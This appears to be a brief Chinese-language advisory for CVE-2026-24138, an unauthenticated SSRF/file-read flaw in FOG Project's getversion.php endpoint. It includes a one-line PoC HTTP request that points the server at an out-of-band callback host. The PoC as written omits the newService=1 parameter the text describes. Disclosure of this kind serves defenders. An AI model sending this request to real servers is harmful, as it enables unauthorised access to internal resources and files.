FOG Project /fog/service/getversion.php 文件读取漏洞（CVE-2026-24138）

2026-01-30 FOG Project PoC Public

Description

FOG 是一款开源的克隆、镜像、救援及资产管理系统。在 1.5.10.1754 及以下版本中，/fog/service/getversion.php 接口存在未授权 SSRF 漏洞。该接口的 url 参数可被用户控制，且在请求中包含 newService=1 时无需身份认证即可访问。攻击者可构造恶意请求，利用该漏洞让服务器向内部网站或本地主机文件发起请求，从而造成服务器端请求伪造风险。该漏洞在披露时尚无官方修复版本。

PoC

GET /fog/service/getversion.php?url=d6a1n6h8rvbd6ksu37bghjk59d85whapb.oast.live HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#FOG Project /fog/service/getversion.php File Read Vulnerability (CVE-2026-24138)

References

Related Vulnerabilities